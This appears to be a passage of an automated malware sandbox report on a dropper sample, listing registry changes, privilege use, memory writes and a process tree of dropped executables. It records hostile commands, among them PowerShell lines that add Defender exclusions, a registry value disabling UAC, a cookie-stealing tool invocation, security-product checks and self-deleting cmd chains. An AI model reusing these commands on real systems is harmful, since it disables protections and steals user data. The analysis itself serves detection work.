Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	yADUnMP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	yADUnMP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	yADUnMP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 1 IoCs

Processes:

arnatic_3.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ arnatic_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	arnatic_3.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

arnatic_1.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	arnatic_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	arnatic_1.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

arnatic_2.exevcXMy6mUwboWv_szOcyBUEpf.exe

pid	process
2412	arnatic_2.exe
2412	arnatic_2.exe
3332	vcXMy6mUwboWv_szOcyBUEpf.exe
3332	vcXMy6mUwboWv_szOcyBUEpf.exe
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

896
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

arnatic_2.exeZtfglzprim.exe

pid process

2412 arnatic_2.exe
5620 Ztfglzprim.exe

pid	process
896

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

ivZk3L1c3LGN1RWEk4sFORzf.exearnatic_7.exeJ9wjv0k89zcQR66robnAyjye.exexw2laMmZIe_eM4ir7r2er0h6.exeUZXmJGiLSJAHC_X3ug4ikM6M.exe7YaLeLwu02XjO_quV82dzZTC.exevcXMy6mUwboWv_szOcyBUEpf.exeAdvancedRun.exe

description	pid	process
Token: SeDebugPrivilege	1280
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	1716	ivZk3L1c3LGN1RWEk4sFORzf.exe
Token: SeDebugPrivilege	2476	arnatic_7.exe
Token: SeDebugPrivilege	1884	J9wjv0k89zcQR66robnAyjye.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	4376	xw2laMmZIe_eM4ir7r2er0h6.exe
Token: SeDebugPrivilege	4332	UZXmJGiLSJAHC_X3ug4ikM6M.exe
Token: SeDebugPrivilege	1364	7YaLeLwu02XjO_quV82dzZTC.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	3332	vcXMy6mUwboWv_szOcyBUEpf.exe
Token: SeDebugPrivilege	5140	AdvancedRun.exe
Token: SeImpersonatePrivilege	5140	AdvancedRun.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896

Suspicious use of FindShellTrayWindow 23 IoCs

Processes:

Sta.exe.pif

pid process

1328 Sta.exe.pif
896
896
1328 Sta.exe.pif
1328 Sta.exe.pif
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Sta.exe.pif

pid process

1328 Sta.exe.pif
1328 Sta.exe.pif
1328 Sta.exe.pif

pid	process
1328	Sta.exe.pif
896
896
1328	Sta.exe.pif
1328	Sta.exe.pif
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896

pid	process
1328	Sta.exe.pif
1328	Sta.exe.pif
1328	Sta.exe.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exearnatic_7.exearnatic_4.exearnatic_3.exearnatic_6.exe

description	pid	process	target process
PID 3628 wrote to memory of 1688	3628	f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exe	setup_install.exe
PID 3628 wrote to memory of 1688	3628	f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exe	setup_install.exe
PID 3628 wrote to memory of 1688	3628	f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exe	setup_install.exe
PID 1688 wrote to memory of 1908	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 1908	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 1908	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3296	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3296	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3296	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3324	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3324	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3324	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 2460	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 2460	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 2460	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3212	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3212	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 3212	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 1632	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 1632	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 1632	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 2184	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 2184	1688	setup_install.exe	cmd.exe
PID 1688 wrote to memory of 2184	1688	setup_install.exe	cmd.exe
PID 2184 wrote to memory of 1164	2184	cmd.exe	arnatic_7.exe
PID 2184 wrote to memory of 1164	2184	cmd.exe	arnatic_7.exe
PID 2184 wrote to memory of 1164	2184	cmd.exe	arnatic_7.exe
PID 3212 wrote to memory of 1280	3212	cmd.exe	arnatic_5.exe
PID 3212 wrote to memory of 1280	3212	cmd.exe	arnatic_5.exe
PID 3296 wrote to memory of 2412	3296	cmd.exe	arnatic_2.exe
PID 3296 wrote to memory of 2412	3296	cmd.exe	arnatic_2.exe
PID 3296 wrote to memory of 2412	3296	cmd.exe	arnatic_2.exe
PID 3324 wrote to memory of 1644	3324	cmd.exe	arnatic_3.exe
PID 3324 wrote to memory of 1644	3324	cmd.exe	arnatic_3.exe
PID 3324 wrote to memory of 1644	3324	cmd.exe	arnatic_3.exe
PID 2460 wrote to memory of 1616	2460	cmd.exe	arnatic_4.exe
PID 2460 wrote to memory of 1616	2460	cmd.exe	arnatic_4.exe
PID 2460 wrote to memory of 1616	2460	cmd.exe	arnatic_4.exe
PID 1632 wrote to memory of 4080	1632	cmd.exe	arnatic_6.exe
PID 1632 wrote to memory of 4080	1632	cmd.exe	arnatic_6.exe
PID 1632 wrote to memory of 4080	1632	cmd.exe	arnatic_6.exe
PID 1908 wrote to memory of 3608	1908	cmd.exe	arnatic_1.exe
PID 1908 wrote to memory of 3608	1908	cmd.exe	arnatic_1.exe
PID 1908 wrote to memory of 3608	1908	cmd.exe	arnatic_1.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1616 wrote to memory of 3332	1616	arnatic_4.exe	jfiag3g_gg.exe
PID 1616 wrote to memory of 3332	1616	arnatic_4.exe	jfiag3g_gg.exe
PID 1616 wrote to memory of 3332	1616	arnatic_4.exe	jfiag3g_gg.exe
PID 1644 wrote to memory of 4012	1644	arnatic_3.exe	rUNdlL32.eXe
PID 1644 wrote to memory of 4012	1644	arnatic_3.exe	rUNdlL32.eXe
PID 1644 wrote to memory of 4012	1644	arnatic_3.exe	rUNdlL32.eXe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1164 wrote to memory of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 1616 wrote to memory of 3332	1616	arnatic_4.exe	vcXMy6mUwboWv_szOcyBUEpf.exe
PID 1616 wrote to memory of 3332	1616	arnatic_4.exe	vcXMy6mUwboWv_szOcyBUEpf.exe
PID 1616 wrote to memory of 3332	1616	arnatic_4.exe	vcXMy6mUwboWv_szOcyBUEpf.exe
PID 4080 wrote to memory of 1364	4080	arnatic_6.exe	7YaLeLwu02XjO_quV82dzZTC.exe
PID 4080 wrote to memory of 1364	4080	arnatic_6.exe	7YaLeLwu02XjO_quV82dzZTC.exe
PID 4080 wrote to memory of 1364	4080	arnatic_6.exe	7YaLeLwu02XjO_quV82dzZTC.exe

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

7YaLeLwu02XjO_quV82dzZTC.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7YaLeLwu02XjO_quV82dzZTC.exe

C:\Users\Admin\AppData\Local\Temp\f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exe
"C:\Users\Admin\AppData\Local\Temp\f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3628

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\setup_install.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_4.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2460

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_4.exe
arnatic_4.exe
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1616

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:3332

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
PID:3332

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_7.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:2184

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_7.exe
arnatic_7.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1164

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_6.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1632

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_6.exe
arnatic_6.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080

C:\Users\Admin\Documents\u46et6OITmm5k4SUpVSbV1nn.exe
"C:\Users\Admin\Documents\u46et6OITmm5k4SUpVSbV1nn.exe"
5⤵
PID:1324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 464
6⤵
- Program crash
PID:3356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 508
6⤵
- Program crash
PID:3860

C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe
"C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:1364

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe" -Force
6⤵
PID:4484

C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\df9e7df4-3687-4768-9014-5c4b5caca47d.exe
"C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\df9e7df4-3687-4768-9014-5c4b5caca47d.exe" /o /c "Windows-Defender" /r
6⤵
PID:760

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force
6⤵
PID:4268

C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
6⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:5140

C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\dee42127-37f9-4144-8bd7-3d420da32df6\AdvancedRun.exe" /SpecialRun 4101d8 5140
7⤵
- Executes dropped EXE
PID:5616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe" -Force
6⤵
PID:5196

C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe
"C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe"
6⤵
- Executes dropped EXE
PID:5308

C:\Users\Admin\Documents\0AcvZRgPE6VCo0VvE85RSzac.exe
"C:\Users\Admin\Documents\0AcvZRgPE6VCo0VvE85RSzac.exe"
5⤵
- Executes dropped EXE
PID:3312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\0AcvZRgPE6VCo0VvE85RSzac.exe
6⤵
PID:3164

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
7⤵
PID:2336

C:\Users\Admin\Documents\JJb6a0jUlilUftTN5Hsgbuwt.exe
"C:\Users\Admin\Documents\JJb6a0jUlilUftTN5Hsgbuwt.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1848

C:\Users\Admin\Documents\vcXMy6mUwboWv_szOcyBUEpf.exe
"C:\Users\Admin\Documents\vcXMy6mUwboWv_szOcyBUEpf.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3332

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout 45
6⤵
PID:408

C:\Windows\SysWOW64\timeout.exe
timeout 45
7⤵
- Delays execution with timeout.exe
PID:6008

C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe
"C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe"
6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5620

C:\Users\Admin\Documents\vcXMy6mUwboWv_szOcyBUEpf.exe
C:\Users\Admin\Documents\vcXMy6mUwboWv_szOcyBUEpf.exe
6⤵
- Executes dropped EXE
PID:5756

C:\Users\Admin\Documents\EeeMGdin0VHsRA2MlIjatE15.exe
"C:\Users\Admin\Documents\EeeMGdin0VHsRA2MlIjatE15.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:1028

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
6⤵
PID:4880

C:\Windows\SysWOW64\cmd.exe
cmd
7⤵
PID:2296

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
8⤵
- Enumerates processes with tasklist
PID:4284

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
8⤵
PID:5936

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
8⤵
- Enumerates processes with tasklist
PID:4328

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
8⤵
PID:5464

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
8⤵
PID:5528

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
Sta.exe.pif V
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1328

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
9⤵
- Executes dropped EXE
PID:2412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 448
10⤵
- Program crash
PID:4812

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
6⤵
PID:4996

C:\Users\Admin\Documents\QB641z1VCv6PieD_nvdbLQmw.exe
"C:\Users\Admin\Documents\QB641z1VCv6PieD_nvdbLQmw.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:3296

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im QB641z1VCv6PieD_nvdbLQmw.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\QB641z1VCv6PieD_nvdbLQmw.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:4460

C:\Windows\SysWOW64\taskkill.exe
taskkill /im QB641z1VCv6PieD_nvdbLQmw.exe /f
7⤵
- Kills process with taskkill
PID:5944

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Executes dropped EXE
- Delays execution with timeout.exe
PID:1324

C:\Users\Admin\Documents\ivZk3L1c3LGN1RWEk4sFORzf.exe
"C:\Users\Admin\Documents\ivZk3L1c3LGN1RWEk4sFORzf.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Users\Admin\AppData\Local\Temp\6e4b9a19-a497-4a44-8854-9ff1d764d7da.exe
"C:\Users\Admin\AppData\Local\Temp\6e4b9a19-a497-4a44-8854-9ff1d764d7da.exe"
6⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4532

C:\Users\Admin\Documents\xw2laMmZIe_eM4ir7r2er0h6.exe
"C:\Users\Admin\Documents\xw2laMmZIe_eM4ir7r2er0h6.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4376

C:\Users\Admin\Documents\UZXmJGiLSJAHC_X3ug4ikM6M.exe
"C:\Users\Admin\Documents\UZXmJGiLSJAHC_X3ug4ikM6M.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4332

C:\Users\Admin\Documents\UZXmJGiLSJAHC_X3ug4ikM6M.exe
"C:\Users\Admin\Documents\UZXmJGiLSJAHC_X3ug4ikM6M.exe"
6⤵
- Executes dropped EXE
PID:4868

C:\Users\Admin\Documents\HIGKDltXPdOvW8Hm8aH8tqf_.exe
"C:\Users\Admin\Documents\HIGKDltXPdOvW8Hm8aH8tqf_.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4308

C:\Users\Admin\Documents\6fnKlXYYVf3vSgXPLu6Id9r_.exe
"C:\Users\Admin\Documents\6fnKlXYYVf3vSgXPLu6Id9r_.exe"
5⤵
- Executes dropped EXE
PID:4260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4260 -s 484
6⤵
- Program crash
PID:5464

C:\Users\Admin\Documents\FaYEc4gGZEQdvkW7Ol7GE7XI.exe
"C:\Users\Admin\Documents\FaYEc4gGZEQdvkW7Ol7GE7XI.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:4252

C:\Windows\SysWOW64\cmd.exe
